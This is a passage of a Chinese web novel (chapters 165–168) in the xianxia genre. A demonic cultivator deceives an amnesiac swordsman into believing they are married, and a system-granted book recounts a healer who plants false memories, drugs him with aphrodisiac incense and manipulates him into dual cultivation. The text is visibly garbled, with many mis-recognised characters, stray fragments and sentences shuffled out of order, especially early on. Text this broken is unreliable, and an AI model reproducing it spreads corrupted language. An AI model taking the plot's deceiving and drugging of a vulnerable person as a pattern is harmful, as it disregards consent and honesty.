白色光球从善如流地应道,“所以只有宿主亲身体会过,确认自己绝对不会对男子产生一丝丝情爱,才能说自己不是断袖吧?屠天霸仔细一想,确实有几分道理。“唔、咳咳.……"与心魔意念沟通,只不过瞬息的功夫。屠天霸收回思绪,视线重新凝聚起焦点,就见平躺在巨石上的男人仍旧被自己掰着下巴,两瓣苍白无血色的唇分得很开,面颊却因咳嗽而激起一层淡淡的粉,。眼尾更是如此。咳嗽间,方才屠天霸灌入他喉中的药水呛出少许。这点点液体便顺着他的嘴角,逐渐滑到屠天霸的虎口处,让他看上去格外狼狈与脆弱。尤其是他的发冠不知在雷动中损毁,办或是掉落河谷之后被水流冲走了,导致男人的墨黑长发披散在身上,额前几缕湿透的发贴着他的苍白的肌肤,耳后那缕还打了个弯屠天霸暗自撇嘴。 不得不说,这狗屁仙君的皮相确实一流。…当然了,他也很不错!他收回手,趁着对方刚从昏迷中苏醒,神智还不清明之际,有些嫌恶地扯过狗屁仙君的衣袖,沾着药液与涎液的手在上面擦了两下,同时还语气平直地捧读道。“夫人,你醒啦。” 话音刚落。 随后,心魔又说狗屁仙君乃是天命之人,也能看到这本描绘着修真界未来的书——心魔的原话是原著小说’,让他注意保密 他的耳边便响起一声叮。 心魔提示他第一个任务已然轻松完成,书册也解锁了第二篇章。 屠天霸了然,准备稍后再阅读此书。 恰时,一阵带着寒气的风扫过。 浑身湿透的白衣男人冷不丁地打了个颤。 屠天霸将真气聚于双目,清晰地看见对方体内的灵气被自己刚才灌进去的丹药全数吸收,没有半点留给他修复心脉。 此时的男人大概与凡夫俗子无异。 就在这时候。 屠天霸忽然听到一道微哑的嗓音, ".…你,你刚才说什么?" 男人散发出的清正冷冽气质,以及举手投足之间的从容不迫,此刻,屠天霸的月光对上了一张稍显空洞的漂亮面孔,表情微顿,仿佛正在怀疑自己的耳朵白色光球凑近光屏,就见宿主比人机还人机地复述了一声, 比起先前在小山坳初遇时, 系统空间内。 “夫人,你醒啦。 白衣男人愣了好半晌,又问:“什么夫人?" 屠天霸毫不掩饰地撇了撇嘴,应道: ".你是我的夫人。" 白衣男人的表情看上去很茫然,失去记忆却保留了潜意识本能,当即回话道:“可我是男人,怎么能.?"他话没说完,屠天霸学以致用,撂下一句,“正常,因为你是断袖,但你现在不记得了。白衣男人的神情更加茫然了,像是回忆着些什么。他浑身酸软无力,动动手指头都艰难,更别提坐起身来了,只好保持着躺姿,抬眼望着坐在巨石边缘的黑衣少年,很是迟疑地说“为何我什么都想不起来?"屠天霸眨了眨圆溜溜的杏眼,熟练地用手撑着下巴,手掌将左脸颊的肉推起来,看上去有些鼓“因为你失忆了。” 白衣男人:“哦。 两人大眼瞪小眼,沉默许久。 白衣男人又问:“为何我会失忆?" 屠天霸被问得烦了,语气不善地应道: “我怎么知道啊!你先找茬的好吧!" 白色光球:"" 啊啊啊,给我一个正常宿主吧! 哪怕是姓时,也可以啊! 屠天霸并不知道自己的机智心魔此时是何等的鸣呼哀哉,他说着就来了气,放下手,上身转向平躺着的男人,冷哼道:“总之,你如今这般境地,都是自找的。 “都是你的错!“ 本尊定会狠狠报复。 闻言,男人陷入思索 可他确实什么都想不起来了,睁开眼,身边只有这个说话冒着火气的少年人。 少年瞧着只有十六、七岁,面相稚嫩,却口口声声喊自己夫人,一副跟自己闹脾气的模样。 不知为何,男人升起一股莫名的感觉一 对方说的好像是真的 片刻后。 屠天霸就见男人微微蹙眉,虚软无力地抬起一只手,冰凉的指尖落到他的面颊上,轻声问道: ".这是我打的吗?" “抱歉,我什么都不记得了。" “疼吗?" 园 作老去汗兴 “疼吗?" 165、Chapter 165 屠天霸从小就是个很皮实的小伙子,时常在外调皮捣蛋,回家便被他爹夹着臂间抢圆了膀子打屁股,连叫声都比普通人嘹亮许多,后来离家修仙,更是不知经历了多少生死争斗。 他不是没受过伤。 更别提他这些年锻炼出了一手的耳刮子奇技,看似白嫩细腻的脸皮早就经历过千锤百炼,如今能留下这些许痕迹,都是他自己下了重手的缘故。 换句话说, 屠天霸觉得自己的脸皮堪比某些防御型法器而不落下乘 手感还很好呢。 如果不是血雾化身就更好了。 然而,此时此刻。 眼前这个狗屁仙君只是用食指指尖轻点了一下他的面颊-一甚至不能说是“''点”,因为屠天霸几乎没感受到一丝力道,仿佛一朵温漉演的云絮擦过他的脸,撩动了细微的汗毛 他却忽然感到一阵麻。 刹那间,屠天霸的脑子陷入一片嗡然。 狂躁的心魔音被嗡嗡声所掩盖,与此同时,那阵麻意迅速从他的面颊扩散到半边身体,使得他伶俐的口齿也变得磕磕巴巴, “嗯,还嗯 还行,不疼。” 怎么回事? 狗屁仙君是不是使了什么法术,暗算他? 屠大霸暗暗思忖,警惕地挪远了些,眼睛死死地盯着他,却不知道男人心中另有一番斟酌。 男人撑不住力气,手臂重新垂落下来,幸而眼皮不算太重,于是他沉默地望着身边这位正用力搓脸的少年,四目相对之间,心底竟莫名生出一股羞愧 这并非记忆主导的感受,而是下意识滋生的情绪。 虽然不知道之前发生了什么事情,但是我好像对他做了某些不太好的事情? 男人的脑中隐隐约约闪过这一猜测。 下一瞬。他察觉到另一只手中稍有异感,忍不住率先偏移了目光,还来不及在心里暗暗呼出一口气,就瞧见被自己紧紧攥着的一柄断剑。”?”这柄断剑通透如寒潭凝冰,在暖融日光的照耀下,仍旧泛着幽蓝的冷光,断口处并不平整,几道裂痕顺着断口爬上仅存的创身,宛如破败的蛛网,男人不自觉地升起一股痛惜之意。紧跟而来的是,便是又一道不太妙的猜测。屠天霸饸好将那阵麻意从脸上搓掉了,顺着身下男人的视线一道看过去,也看到那柄断剑,顿时忘了刚才那阵让自己难以形容的滋味,不等男人主动问,他便指责了个痛快“要不是我抗揍,断成两截的肯定就不是剑,而是我了。 说完,他还觉得不够解气,当即掰开男人的手指,将断剑抢到自己手中,无比熟练地往衣袖里一塞手再伸出来的时候,断剑已经没了踪影。“没收!" 男人被他说得有些愣,脸上逐渐泛出几分不知所措,湿成一簇簇的睫毛颤了好一会儿,才稍稍停歇 良久。 男人有些艰难地开口问道:“你喊我夫人,是不是代表你我之间的关系…” 他拾眸飞快地扫了一眼少年过于稚嫩的面庞,暂且压下满心的凌乱,继续道,“那….我怎么会用剑砍你?屠天霸眼珠子乱转,抠抠脸,又抠抠耳后,脑中正在思考措辞,却又因为心魔音增添了许多烦躁,便干脆反手将问题丢了回去,语气十分恶劣,“难不成你觉得我在说谎?" “我不是这个意思."屠天霸顺杆往上爬:“那你是什么意思?”“抱歉,我只是觉得自己不该当对你动手,”男人停顿片刻,忽然转了个话题,“我还不知道你叫什么屠天霸秒答:“我叫居医修,是个医修。 男人:"…"空气沉静到诡异。他又问:“那我呢?"“嗯唔.”屠天霸眼珠子又开始转,手指一路从下颌处挠到了肩窝,“你叫,你叫,呃.…狗,啊,洄系统空间内。白色光球沉默地悦如卡顿人机的宿主,忍不住提示道:“宿主,你千万别把主角的真名说出来,原著小说里有这一段呀!渣男前大哥给失忆的宿主胡编乱造了个名字,就叫.….话未说完,祂就听到宿主一拍掌,信誓旦旦地道: “_-你叫阿洄。“ 白色光球:悬着的心终于是死了。 失忆的男人默了默,继续问:“那我的姓氏是?"这一点,屠天霸还是知道的。他理所应当地道了声:“你随夫姓。” 男人觉得这个姓氏听起来有些陌生,但他没有贸然反驳,而是继续往下问:“我们是怎么认识的?彼此又是什么身份?那把剑你是如何收起来的,还有我…屠天霸被问了一脸,脑瓜子嗡嗡的。他刚开始还有问必答,翻着眼珠子说道:“第一次见面的时候,你来找我问路…” 说着说着,他就又不耐烦了,很暴躁地骂了声,“你子烦啊,再哪哪歪歪我就走了,你自己在这里躺着吧!屠天霸最受不了别人啰哩巴嗦了,耐心有限。然而,就在他撤开脸,望向河谷对岸的无人山洞之时,忽而听到男人轻叹了一声,“你生气了吗?我只是什么都想不起来了,此刻身边只你一人,又听你唤我.…他模糊了两个字音。 下一刻。男人忍不住小心地确认道:“你真的是我?"屠天霸算是听明白了。这个狗屁仙君在质疑他口中的两人关系。尽管他觉得自己喊狗屁仙君为''夫人’实在有些恶心,可一旦换成对方发出质疑,屠天霸马上就不高兴了,很快扭过头来,怒目圆睁地质问道:“什么意思,你觉得我配不上你?男人稍显局促,应道: "不是。” “那是什么?!"男人忍不住抿了抿唇,神情稍显难堪,说话声也矮了几分,“我觉得你太小了,我应该…"不会跟年纪这么小的孩子结为伴侣。莫名的,他不记得自己姓甚名谁,如今几岁,却下意识地称呼少年为“孩子’,因此心中又多了一道猜测。一他觉得自己的年纪可能不小了。屠天霸却觉得自己被人看不起了,当即刚脚,足尖一点,翻身站在巨石边缘,指着狗,同仙君破口大骂:“我哪里小了?你不要以为自己长了个大屁股,大胸脯就洋洋得意,我早晚也能长出来!男人被他骂得哑口无言,满脸通红,半响吐不出一个字。见此情形,屠天霸冷哼一声,为自己的伶牙俐齿感到暗暗叫好。最烦这些正道修十,不是指着他大骂,说他只后必成修真界的一大电,就是自诩正道,哪怕马上就要被他这个磨修杀了,也一副大义湾然的模样,教人看了就来气虽然他不歧视魔修,但他也不是自愿成为一个魔修的呀。 再比如,虽然他现在身形修长,仍旧带着少年人的瘦削,唯有面颊稍微长了点肉,但只要他重获肉身,再以秘法催动年龄增长,自然能继续生长发育了,最终也能长成一个气字轩昂的男人!屠天霸不捉痕迹地上下打量了两圈眼前这个浑身无力,动弹不得的男人,宛如被兜头浇了一桶油的火焰,火苗窜得老高,烧得他心里不是滋味。 可恶! 好像比他高了许多。 这狗屁仙君真是该死啊!两人一站一躺,尤其是当少年摆出单手叉腰,上身微微前倾这一极具压迫性的姿势时,男人分明还存着许多疑问,却不好意思再问了,甚至忍不住将脸扭到另一边,不愿与少年对上视线那两个词真是…他面上无比滚烫,双耳亦然。 沉默片刻。男人压下心头羞臊,再次发问:“我这是怎么了?为何浑身乏力,连自行坐起身也无法?"屠天霸刚好也瞪得两眼干涩发酸,闻言,他直起上身,抬手揉了揉眼睛,心中暗想:当然是因为他方才给这人喂了一整瓶"敛灵丸’。这丹药入体不化,效用为吸纳天地灵气,将灵气聚集于丹身内。屠天霸原来只是想炼制出一种能够抽取体内魔气,降低魔气对肉灵芝生长影响的丹药。若是炼成功了,他打算一天吃三顿来着。偏偏这丹药的效果南辕北辙,变成了抽取灵气,好在如今到处排上了用场,也不算浪费了心血。 但屠天霸当然不会如实告诉男人了。他的跟珠子又开始咕噜咕唱装,嘴上嗯唔了几声,很快根据书册上的内容,自行加工编造了一通说辞-一自己是年少有为的英俊医修,对方则是他的病人,是一个不入流的贫苦小剑修,因为无力偿还他救命之思,所以决定以身抵责说着,屠天霸真情实意地强调一句,“我原本可是不乐意的!" 男人听得神情微滞: 正当此时,掺着寒气的风贴着河面爬行,像一条温漉漓的蛇钻进他的领口,顺着湿透的衣服罩住了他的全身。男人忍不住咳噉了两声,激起胸口一阵疼痛,喉间也泛起一股铁锈的味道 不止是铁锈味。 还有另一股若有似无的甘甜味道。 他忍不住打了个寒颤,却觉得腹部温热。 反观少年, 一袭黑衣干燥顺滑,只有衣袖沾湿了,.大概确实如他所言,两人起了争执,大打出手,对方又不计前嫌地前来寻找,又将自己从河谷里救上来。思及此处,男人蜷了蜷手指,略带迟疑地唤了声, “我有点冷。" 那声''夫君’实在喊不出来 于是,男人换了个称呼, "_-小修。" 166、Chapter 166 小修是谁?谁是小修? 屠天霸忍不住抬手摸了摸自己的耳垂,不知这狗屁仙君又偷摸使了些什么小伎俩,弄得他耳根直痒痒其实早前在山坳狭路相逢时,他就有这般感觉了。听说合欢宗与某些音修的功力大成之后,简单的说话或吐息都能摄人心魄,直击神魂。他门下有几个魔修便是如此,修为低一些的修士几乎没有抵挡的力气但屠天霸却听不出有什么奇妙之处。他暗自咂舌。没想到狗屁仙君人模人样的,居然修炼了这种邪门功法。正思村着,屠天霸又听人念叨一声“小修”,恍然反应过来对方是在喊自己,可下一秒他便又陷入了证公,自混乱而扭曲的记忆中,想起有个人也不爱喊他的大名,总爱在他的姓名前加个''小 字。听起来亲昵极了。屠天霸低头垂眸,拧着眉纠结了片刻,还是没警告狗屁仙君不要乱念自己的名字正好。 他先前远远便瞧见河谷对岸有个山洞,早就起了探寻的心思。只是当屠天霸想要施法将狗屁仙君浮空腾挪过去的时候,机智心魔好巧不巧地开口提醒道“宿主,你现在已经不是邪道魔门了,而且你刚才对人家说自己是心善的医修,眼前这人又是你的道侣,怎么说也要把对方背过去才合理吧?屠天霸当即反驳:“后颈这等要害地方怎能轻易暴露给他人,万一这狗屁仙君起了暗算我的!心思该当如何?就算他此刻手足无力,再不济还有一口牙呢?不行,绝对不行。话音刚落。 他就听心魔继续建议道:“那就用抱的怎么样?对方在你身前,一举一动都瞒不过你,这样总行了吧? 屠天霸仍有异议:“我嫌他,不想触碰。 沉默两息。 心魔忽然转换口风,唉声叹气道:“好吧,宿主这也不愿意,那也不愿意,看起来跟主角完全不熟嘛,人家只是失忆了,又不是变成傻子了,定能觉到其中异常之处.…. 说着说着,心魔提高了音量, “不会吧,不会吧?" “宿主该不会被主角一眼看出是假的吧?” 莫名的,屠天霸心底被拱起了一阵火。 迎着男人的视线,居天霸忍住了当场给心魔一嘴巴的欲|望。 但是,仔细想想 心魔所说的话虽然刺耳,却不失中肯。 屠天霸终于松了口,“好吧。 系统空间内。 白色光球将啾啾握成小拳头,自我夸奖道: “噢耶!我就知道我可以!" 屠天霸并不知晓这一插曲, 他有些不乐意地俯身半蹲,先是将自己的袖子捞起来,露出两条修长目劲瘦的的手臂,然后表情勉强地伸出一只手捞过男人的后脖颈,另一只手则拾起男人的膝查,很稳当地把人抱了起来 就在这时。 机智心魔再度出声, ".….宿主,你在干嘛?" 语气里似乎带着几分咬牙切齿的意味. 屠天霸不明白自己都还没大发雷霆,这道心魔音怎么听起来比他还生气,只是坦然应道:“"不明显吗?因为我觉得你说得有些道理,所以打算抱他去山洞里躲躲风呢。 说完,他还补充一句, “怎么样?很体贴吧?" 白色光球沉默地;凝视着光屏里显示的景象。 只见黑衣少年的衣袖几乎罍到了前臂,双手朝前打得笔直,双掌朝天,而浑身湿透的白衣男人则被他托于掌上,宛如一块死肉。 两人的肢体接少得可怜。 不仅如此,由于男人的身形颀长落阔,宿主双臂之间的缝隙恰好与肩宽,因此男人被抱起后,姿势类似于’,坡度陆峭,教人看一眼就觉得难受至极。 白色光球:“ 开心早了。 虽然宿主做出了公主抱的起手姿势,最终却呈现出了工业起重机铲着货物就要往前运的架势,非但不显得浪漫,还将自己对主角的嫌弃之情展现得淋漓尽致,溢于言表, 系统一言难尽。 失了忆的白衣男人同样一言难尽。 还很不舒服。 然而他没有出声,那双折痕深刻的眼皮半敛着,视线轻飘飘地落在正托着自己,踩着水面往河谷对面走去的少年身上。 日光酒脱。 河边荡着一层稀薄的水雾。 少年生了张看起来很温软的清俊面孔,只是自他苏醒以来,对方始终绷着脸,浑身散发着山雨欲来的戾气,那双杏核般的圆眼睛黝黑明亮 细看之下,却能发现少年的黑瞳深处隐约浸出两分猩红.… 年轻是真年轻。 眼尾还晕着未褪干净的少年气。 少年鼻梁那颗朱砂痣正随着他的呼吸起伏,仿佛活物一般,又无端端让人联想到雪地里溅开的血珠。 倏然间。 两人的目光对上了线。 少年的下颌线收紧了些,稚气未脱的圆脸凝出修罗般的煞气,暴躁的言辞却裹着一层糯米团子似的音色,“看什么看?" 男人默默移开视线。 沉默许久,他还是忍不住问道:“你我之间的关系很恶劣吗?那你为什么会跟我.…” 屠天霸张了张口,一个字音都还没吐出来,就听到机智心魔在耳边一个劲儿地重复着''不会吧不会吧宿主你不会这就露馅了吧’ ,听得他额角青筋微微暴起,呼吸都急促了些。 ….果不其然。 心魔就是心魔! 都很欠抽! 屠天霸艰难地按耐住自己的暴脾气,面上却带出了真实情绪,他的眼珠子转得飞快,嘴里不自觉地呃嗯啊唔了几声,半真半假地说:“因为我脸皮薄。 见男人又要开口,屠天霸实在不耐烦了,好在山洞近在眼前,他不由得加快脚步,掠过从石壁上方垂落下来的藤蔓之后,直直往山洞深处走去,鞋子半点没湿,脚印干燥。 藤蔓数量众多,还缀着许多米白色的小花,宛如一幕绿底白绣纹的垂帘,远看近看都好看,着还有股清幽的冷香。 屠天霸心中满意,脸色柔和了些—— 真是个风景怡人的山洞啊。 非常好。 是我的了。 进到里头,屠天霸没有闻到牲畜野兽的味道,心中的满意更甚,当即使了个咒诀将洞内的尘土清理干净,再抖抖衣袖,抖出一堆用灵植晒成的干草,也不铺平,直接把男人丢进了草堆里紧接着,他自顾自地从袖中掏出几根灵木柴火,动作熟练地将柴火摆成一堆,然后往柴心呼了一口气 轰的一声! 烈烈的火焰从中窜起。 明耀的火舌舔着灵木柴火,没有烧出一丝呛人烟雾,反而将柴火烘得弥散出淡淡的果香整个山洞被熏得沁人心脾。空气也暖烘烘的。正当屠天霸想要掏出熊皮地毯,在上头舒舒服服地滚几圈之际,心魔又出声了,提醒道:“宿主,现在主角浑身法力施展不出来,体质跟凡人无异,你放着不管,他很有可能会发烧的 “到时候你就得照顾他了哦!" 此时此刻,屠天霸面临着两个选择。 一,是现在去照顾狗屁仙君,免得他生病。 二,是现在不管狗屁仙君,待他染上了风寒,再去照顾他。 屠天霸:“?” 为什么我横竖都得照顾他? 屠天霸骤然陷入沉思。 想来想去,他终于想出了一个绝好的点子。 “嗒嗒。 屠天霸迈着轻快的步子,两三步跨到干草堆边,两手拨开蓬松干爽的灵草,就见男人身边的灵草已经被吸干了灵气,偏偏灵气只稍微修补了一丝丝支脉,就被他腹中的敛灵丹抢夺了大半。饶是如此,男人的脸色还是好转了,体力也随之恢复了些许。他撑起上半身,艰难地坐起来,潜意识告诉他是周围这些淹没自己的干草起了作用,只是眼下干草的数量如此之多,不知有多珍贵难得而少年先是生火驱散了这石洞中的寒气,然后才弯腰将自己从暖融融的干草堆中拨出,男人心下微动,忍不住朝他露出一抹浅笑,“多谢你了,我觉得好多了。"屠天霸:“??"屠天霸将这两个问号扔出山洞,抖抖衣袖,手上便多了个细颈圆肚的青玉脊瓶。他有些不舍地倒出一粒药丸,径直塞到男人的嘴里,嘴里还说着“吃了这个,你应该觉得更好了吧?"男人猝不及防被堵住嘴巴,眼眸睁大。 下一瞬。 他更加意外了。 不知少年塞进自己嘴里的药丸究竟是什么灵宝,入喉即化,化作一股暖流,飞快地淌入他的四肢百骸,几乎是眨眼间,男人发现自己的身体状况果然好了许多还不等他开口道谢,少年冷不丁地问道:“你现在应该有力气照顾自己了吧?” 男人点头。 “那就好。““你就照顾自己吧,不要来打扰我。闻言,屠天霸毫不掩饰地长呼出一口气,像是摆脱了什么大麻烦一样,随即眉飞色舞地掏出熊皮地毯,一个飞扑上前,整个人钻进了巨大的深色毛皮中! 男人:“. 他看着看着,没忍住轻笑了一声,心头的疑云也散去了大半。 屠天霸心满意足地躺在陪伴自己三百年之久的巨熊熊皮中,虽然睡不着,但毛皮柔软舒适的触感多多少少能抚慰他的心头躁意,也算是莫大的慰籍。 心魔不肯放过他。 但屠天霸已经习惯了杀声一片。 然而,新生的心魔也不肯放过他。 “叮-“温馨提示,涉及宿主的原著小说片段已解锁,宿主可以通过阅读新内容,了解下一个关键剧情点,以便更好地完成剧情补全任务!"好吧。横竖也睡不着。屠天霸没有太抗拒地掏出一块光明石,将昏暗密闭的熊皮小窝照得明亮,然后手一翻,掌中便出现了那本书册。话本子。这个称呼好像更贴切。屠天霸盯着封面上的人许久,忍不住发出一道极轻的冷哼,随即翻开书页,开始阅读。殊不知,山洞的另一头。男人身上的衣服潮气逼人,黏在皮肤上很不好受。他望向熊皮的方向,表情有些迟疑,最终还是选择保持缄默,没有打扰似乎已经疲惫熟睡的少年。少刻后。男人迈出干草堆,靠进火堆,想要烘干身上的衣物。在动作前,他下意识地回头望了一眼身后那个毫无动静的熊皮小山包。山洞内很安静。柴火被烧出的噼啪声格外轻,听久了,让人觉得莫名舒服。男人慢慢回过头,指尖捏着腰间系带,指下微微施力 腰带被解开了。 下一瞬。 潮湿的白衣从他的肩背滑落 167、Chhapter167 屠天霸将话本子翻到上回看过的地方 在上个篇章中,故事正好进展到医修将昏迷之人带回自己所居的谷中教治。可惜他足足耗费了一月有余的功夫,试了无数种药,对方病情却丝毫没有好转,恍如一具会喘气的尸体。某一天。他捧着新制的药推门进屋,惊觉床上那人居然自己醒了过来,甚至在他未进门之前就察觉到了有人靠近,下意识地闭起双眼装睡,好在医修来得突然,那人重伤未愈,刹那间的呼吸漏出了破绽。再然后,便是心魔所说的''关键剧情’医修发现男人装睡也不声张,只是故作亲昵地将冰凉的药杵贴上男人的脖颈,并早有预谋地说出了那句谎言“夫人,你醒了。”屠天霸不经意管过这段剧情,又联想到今天发生的种种,忍不住主动跟心魔搭话,神情骄做“"比起话本子里的“居医修”,本尊可是一天之内就完成了任务,医术亦是出神入化,非常人所能及。 “不愧是我!" 话音刚落。 心魔与有荣焉地呵呵一笑,附和道: ".….是啊,不愧是你。 屠天霸坦然地接受了这一夸赞。 他手上动作不停,施施然地将书册往后翻,果然发现原本空白的纸页已然爬满了工整的小字,视线自然而然地追了过去。故事中,狗屁仙君并没有轻信医修的一面之词,奈何他连自己的名字都记不得了,平日里更是行走都困难,恍如一个废人,只好暂住在此处,日日与医修相外尽管医修声称两人是道侣,他却觉得对方格外陌生,在之后的相处中,心底那股说不出的提防与警戒也始终没有消失 而医修心怀鬼胎,自然表现得耐心体贴。 起疑能如何?待自己冷淡又如何? 他白有后招。 每当夜幕降临时,医修为聂无洄诊完脉,便给他点一支安神养身的香,随后返回自己的房间,再以秘法唤醒蛊家里的母蛊 他早就给对方种下了丹蛊与秘咒。母蛊醒来后,会驱使着寄生在男人体内的丹蛊,叫那人夜夜幻梦。于是,聂无洄的脑中被一点点植入了许多虚假记忆,体内灵气也被丹蛊所蚕食,在此后一年的时间里,他的外伤虽然痊愈,身体却愈发孱弱,甚至比普通人还要更弱两分等了一年之久,医修的耐心告罄。这夜。 按照惯例,医修来到聂无洄屋中替他诊脉。 诊完脉,他从容不迫地踱步到桌案前,点一支混入了催|情药物的安魂香。 不多时。 竹屋内,香烟弥散。 聂无洄提不起真元抵御迷香,很快陷入了情热。医修佯装惊讶地上前查看,心中分明已经欣喜若狂,嘴上却还胡诌着“药性相冲’的谎话,说话间,手已经探到了聂无洄的衣襟处.….“啪!" 他怎么都没想到聂无洄居然强撑着意识,拍开了他的手?!好在他反应足够快,当即露出一抹受伤的表情,然后咬破舌尖吐出一口猩红的血,谎称自己为了帮他恢复修为遭到反噬,如今已是瞒不住了,紧接着便是一箩筐的瞎话。其实医修本可以不这么麻烦。可他正是冲着男人的清气之体去的,否则早就拿人来试药了,死了便埋入药圃中肥地,这般草药也生长得更茂盛些,也不算白费了将人带回来的功夫。只可惜啊清气之体无法被人单方面采补,必须双方心甘情愿地交合,并同时运行双修心法,另一方才能尝到其中甜头。那么他只得挟恩求报答了。 夏末时分,气温已经降下来了。 河谷底下的温度更低,水汽寒冷又深重,只不过山洞里生了火,蒸干了潮意,况且屠天霸还把自己紧紧裹在巨熊的毛皮里,以至于他的脖颈后已经出了一层薄汗。 空气稀薄。 他的脸闷得发红。 晶石发着光,映亮了这小小的天地,也将附着在他皮肤上的细汗映得闪闪发亮。屠天霸翻阅着书册,不自觉地咬住了下唇,满眼都是书上的小字 屠医修将男人这样这样。 屠医修将男人那样那样。男人似乎不太情愿,起初的表情十分拘谨,整个人都紧绷着,面对屠医修的亲近,他下意识地偏过脑袋,也不做一丝回应。尽管如此,他还是顺着医修的意,运行起双修功法。只是如今他体内灵气尽失,双修的进展不尽如人意,试了一次又一次,直到日夜交替了两回,两人才成功完成了第一次双修 屠天霸神情专注,没发现自己的鼻尖也出了汗。他睁圆了一双杏眼,汗水将他鼻梁那颗小红痣沾湿,莫名让削减了他脸上的稚气,反而增添了几分莫名的神采屠天霸活了整整三百二十七年,照理说,放在凡间俗世,他这个岁数都可以被世人称之为长寿妖怪了,还能有什么没见过?还真有。 多了去了。 就比如,现在被他握在手里的书册子。 当然了。 这并不是说居天霸没看过多少书。 虽然他出身贫寒,整个村子里都是目不识丁的文盲,但蓝道子为了引他入道修行,曾细心教导他读书写字,再加上修炼心法深奥晦涩,需要修炼者具备一定的悟性 由此可见,十年筑基的屠天霸悟性极高。 只是那十年间,他被蓝道子督促着日夜诵读修炼心法,不敢有一刻懈怠,自然没看过杂书了。 再然后,屠天霸被大变脸的蓝道子投入炼魂鼎中,经历过一番极痛的磋磨才反杀了人面兽心的邪道士,转头却发现自己跟炼魂鼎融合,心魔缠身。 在这种情况下,他哪来的心思看话本子? 倒是看了不少医书典籍。 因此,这还是屠天霸第一次看这种、这种 “唰啦。“ 他红着脸,缓缓将书那往后翻了一页,脑子里还残留着方才看过的片段-一首次双修后,男人独自睡在竹床里头,面朝着墙呈塔缩状,露出一片红痕交罍的后背,誉背上的那条椎骨很分明,弧线勾人。 思及此处,屠天霸只觉得自己的喉咙像是被人不由分说地塞入了一团棉絮。这团棉絮吸走了口腔内的液体,让他忍不住一下下吞咽,隔了好一阵,他才后知后觉地发现.… 原来自己的嗓子眼里什么都没有。 “嗯?" 屠大霸盯着翻过一页却空白的书页,忽然有种炼药到一半,鼎突然炸了的不爽感,当即凝起心神,质问给他书的心魔“怎么就没了?"“书里的屠医修不是达成了目的,忍不住在屋外桀桀窃笑,并且已经想出了千百种调|弄狗屁仙君,还能净化自身灵脉的方法了吗?”如此大快人心的事情,本尊现在就要看!" 下一瞬。 心魔的古怪嗓音自他耳边响起,“哎呀,宿主需要补全“跟主角第一次双修的关键剧情点,才能解锁最后一个篇章哦,天将降大任于斯人也,宿主该不会又要念叨着自己不是断袖,见了男人就恶心吧?’“你刚才看得很认真耶。系统空间里。“怎么可能现在就给你看啦?"白色光球伸出啾啾挠了挠肚子,小声哗哗:“以这个癫子宿主的精神状态,要是看到原著里自己被主角剁哪哪和捅心脏的片段,还不知道要发多大的疯哦.…!屠天霸自然听不到系统的拉踩。尽管如此,他还是本能地感到不悦——不仅仅是因为无法阅读下一个篇章的缘故,更是因为他发现这个心魔现在说话怪讨人厌的,让他恨不得抽以永治。给我等着。 屠天霸默默给他排了一个号。 下次就抽你。 下一秒。 他突然反应过来心魔所说的任务正是要他与狗屁仙君交合,还得是双方心甘情愿的双修,此时仍认为自己并非断袖的屠天霸的表情有点嫌恶,脑子里却闪过书中所描述的. 如临巅峰的快乐? 让人流连忘返的极乐乡? 以及,能消解双修伴侣体内杂息的极品体质? 屠天霸有点不高兴。 这狗屁仙君怎么什么都不缺? 容貌过人也就算了,怎么还身姿颀长个子高? 身上也不缺肉。 就连他的体质都是世间少有的清气之体,不仅能净化与之双修者的灵根,还能以灵气消解对方体内的杂息 政 要是能净化魔气就好了。这样的话,他倒是可以考虑变成断袖跟心魔交涉无果,屠天霸满脸不爽地收起书册,心中如此想着。只是他方才出了汗,肌肤蹭着熊皮很不舒服,再加上身体莫名热得难耐,他拱了两下,逐渐将脑袋拱出熊皮,打算透透气此时天未暗,但日光被挡在了山洞外。好在有一堆烧得正旺的柴火照亮了整个洞穴,给每一个角落都涂抹上了偏橘的色彩。空气里飘着灵木柴火弥散出的香气这是屠天霸最喜欢的木头味道。不料他刚把脑袋探出熊皮,眸中便映入一道背影。恢复了行动能力的男人坐在火堆前,上身赤着,白衣被他盖在自己的膝头,屠天霸正对着他的后背,清晰地瞧见一道水痕顺着他凹陷的脊沟滑落,消隐在尾椎处他微微歪着身子,那头如墨的长发披散开来,被他拨到肩膀一侧,修长的手指穿梭在发丝之间,似乎正在抖落藏匿其中的水珠。发梢还是有些湿,轻贴着他的腰侧。他侧着脑袋,双手拨弄着半干的头发,整个背部、腰部、手臂的肌肉线条被火光勾勒出极为流畅的线条,从中隐约能窥见两分男人作为剑修的风采。屠天霸先前被人看了两眼就要生气,此时自己却移不开眼睛了。 可恶! 他真的想要这样的身体啊!! 大概是他咬牙切齿的磨牙声太响了,男人用手指梳发的动作忽然顿住,冷不丁地回头看过来 他被吓了一跳。 火苗晃动,山洞内的光影也跟着晃。 男人恍然看到一张巨大的熊皮隆起来,熊头正对着白己,兽口大张,每一颗尖牙都泛着凶狠的寒光…. 一张白嫩的小脸从血盆大口中探出来。 少年死死盯着他,脸鼓起来。 男人:"" 168、Chapter 168 此刻的境况有些尴尬, 隔着火堆,两人面对面坐着,谁也没说话。 柴堆爆开一粒火星,跳出一道金红的轨迹,将男人盖在身前的衣服下摆撩出一个不起眼的小洞。他不着痕迹地模了摸衣襟,仍有些潮,这头长发更是碍事,并非一时半刻能烘干的。 那张大得出奇的熊皮毯子已经被少年收起来了。 尽管男人失去了过往记忆,却没有因为少年随手让物体出现与消失而感到惊奇,本能地认为这是一件很寻常的事情,不必大惊小怪 阿洄。 他在心底默念着这两个字。 刹那间,熟悉感如潮水般涌现。 随后,男人又想起自己醒来时紧攥在手中的断剑,以及手掌上似是练剑磨出来的薄茧,对少年的说辞不由得又深信了几分。 世间人久闻修仙,人人都想修仙。 或许他正是踏上了仙途的一个剑修,少年则修医道,随手掏出的干草都能让人倍感舒适。 就连干柴,都散发着让人精神舒缓的味道。 男人紧绷的神经被这阵清香安抚下来。 于是,他又开始想, 按照少年的说法,两人的结缘之路似乎是自己赖上了他,贪图他的灵药与医术,事后却不肯支付报酬,非要践行“救命之恩以身相许”这一俗世笑谈,实则掩盖赖账之举.少年说自己是无可奈何,方才勉强应许。…他是这么无耻的人吗?男人不太确定地思量着,忽觉那道落在自己身上的目光愈发焦灼火热,他忍不住揭开眼皮,视线掠过烈烈燃烧着的火堆,望向正盘腿而坐的少年身上。就见少年双肘撑膝,手掌握成拳,分别支在脸侧。他脸小,反衬得那双黝黑的杏眼格外大,一眼不错地盯着某个人之时,显得有些恐怖 尤其是火光白下而上地在少年脸上涂出诡谲的影子 